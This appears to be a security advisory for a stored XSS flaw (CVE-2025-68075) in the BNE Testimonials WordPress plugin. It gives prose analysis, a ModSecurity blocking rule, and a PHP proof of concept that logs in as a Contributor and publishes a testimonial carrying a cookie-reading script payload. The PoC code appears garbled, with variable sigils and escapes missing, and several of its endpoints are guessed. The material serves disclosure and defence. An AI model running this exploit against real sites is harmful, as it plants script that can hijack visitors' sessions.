Atomic Edge analysis of CVE-2025-68075 (metadata-based): This is a stored cross-site scripting (XSS) vulnerability in the BNE Testimonials plugin for WordPress, version 2.0.8 and earlier. The vulnerability allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript into testimonial posts. When any user visits a page displaying the injected testimonial, the script executes in their browser context. This is a client-side scripting attack with a CVSS score of 6.4, indicating medium-high severity with changed scope.
Root Cause: Based on the CWE-79 classification and the plugin description, the vulnerability likely stems from insufficient input sanitization in the testimonial submission or editing feature. The plugin probably stores user-provided content (e.g., testimonial text, author name, or custom fields) without properly sanitizing HTML or JavaScript. When the plugin later outputs this content on the front-end, it fails to escape the output, allowing arbitrary script execution. This is inferred from the CWE and description; no source code was available for confirmation. The plugin likely uses an unescaped echo or WordPress function like `the_content()` or `echo get_post_meta()` without applying `esc_html()` or `wp_kses()`.
Exploitation: An attacker with a Contributor-level account can inject malicious JavaScript into any text field that the plugin stores and displays. The specific attack vector includes creating or editing a testimonial via the WordPress admin dashboard (e.g., at /wp-admin/post-new.php?post_type=testimonial) or through any front-end submission form the plugin provides. The attacker would insert a payload such as `alert(‘XSS’)` into the testimonial content field or a custom meta field. When an administrator or visitor views the testimonial on the site (e.g., via a shortcode or widget), the script executes. The payload could target session cookies, redirect users, or perform actions on behalf of the victim.
Remediation: The fix requires implementing proper input sanitization and output escaping. The plugin should sanitize all testimonial inputs using WordPress functions like `sanitize_text_field()` or `wp_kses_post()` when saving. For output, the plugin must escape all testimonial data before rendering it on the front-end, using `esc_html()`, `esc_attr()`, or `wp_kses()` depending on the context. Since no patched version exists, users should disable or replace the plugin until the vendor releases an update.
Impact: Successful exploitation allows an attacker with limited access (Contributor) to execute arbitrary JavaScript in the context of any user viewing the testimonial. This can lead to session hijacking, defacement, phishing attacks, or theft of sensitive data. The attack does not require direct user interaction beyond viewing the affected page, making it a high-risk stored XSS scenario.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-68075 (metadata-based)
# Blocks stored XSS attempts in BNE Testimonials post creation/edit
# Matches when a user with Contributor+ role injects script tags in testimonial content
SecRule REQUEST_URI "@streq /wp-admin/post.php"
"id:20261975,phase:2,deny,status:403,chain,msg:'CVE-2025-68075 - Stored XSS via BNE Testimonials',severity:'CRITICAL',tag:'CVE-2025-68075'"
SecRule ARGS:post_type "@streq testimonial" "chain"
SecRule ARGS:post_content "@rx <script[^>]*>.*</script>" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68075 - BNE Testimonials <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site Scripting
// Configuration - change these values
target_url = ''; // e.g., 'http://example.com/wordpress'
username = ''; // WordPress user with Contributor role or higher
password = ''; // User password (use test accounts only)
testimonial_title = 'XSS Test - CVE-2025-68075';
malicious_payload = '<script>alert(document.cookie)</script>';
// Step 1: Login to WordPress admin
login_url = rtrim(target_url, '/') . '/wp-login.php';
ch = curl_init();
curl_setopt(ch, CURLOPT_URL, login_url);
curl_setopt(ch, CURLOPT_POST, true);
curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => username,
'pwd' => password,
'wp-submit' => 'Log In',
'redirect_to' => rtrim(target_url, '/') . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_COOKIEJAR, '/tmp/cookies_cve_68075.txt');
curl_setopt(ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt(ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt(ch, CURLOPT_SSL_VERIFYHOST, false);
response = curl_exec(ch);
curl_close(ch);
echo "[+] Logged in as " . username . "n";
// Step 2: Create a new testimonial post with XSS payload
// Inferring the plugin uses a custom post type 'testimonial' or 'bne_testimonials'
// Common endpoint for creating posts via AJAX or direct POST
post_url = rtrim(target_url, '/') . '/wp-admin/post-new.php?post_type=testimonial';
// Attempting direct form submission (some plugins accept this via standard post creation)
// Alternative: if plugin uses AJAX, the action might be 'bne_testimonials_submit'
ch = curl_init();
curl_setopt(ch, CURLOPT_URL, post_url);
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_68075.txt');
curl_setopt(ch, CURLOPT_FOLLOWLOCATION, true);
testimonial_page = curl_exec(ch);
curl_close(ch);
// Extract wpnonce from the page for posting
preg_match('/name="_wpnonce" value="([^"]+)"/', testimonial_page, matches);
nonce = isset(matches[1]) ? matches[1] : '';
echo "[+] Nonce: " . nonce . "n";
// Step 3: Submit the testimonial with the malicious payload
submit_url = rtrim(target_url, '/') . '/wp-admin/post.php';
post_data = [
'post_title' => testimonial_title,
'post_content' => malicious_payload,
'post_type' => 'testimonial',
'post_status' => 'publish',
'_wpnonce' => nonce,
'action' => 'editpost',
'original_post_status' => 'auto-draft'
];
ch = curl_init();
curl_setopt(ch, CURLOPT_URL, submit_url);
curl_setopt(ch, CURLOPT_POST, true);
curl_setopt(ch, CURLOPT_POSTFIELDS, http_build_query(post_data));
curl_setopt(ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt(ch, CURLOPT_COOKIEFILE, '/tmp/cookies_cve_68075.txt');
curl_setopt(ch, CURLOPT_FOLLOWLOCATION, true);
response = curl_exec(ch);
curl_close(ch);
echo "[+] Testimonial created with payload: " . malicious_payload . "n";
echo "[+] Check the site for the XSS in view!n";
// Clean up
unlink('/tmp/cookies_cve_68075.txt');
?>
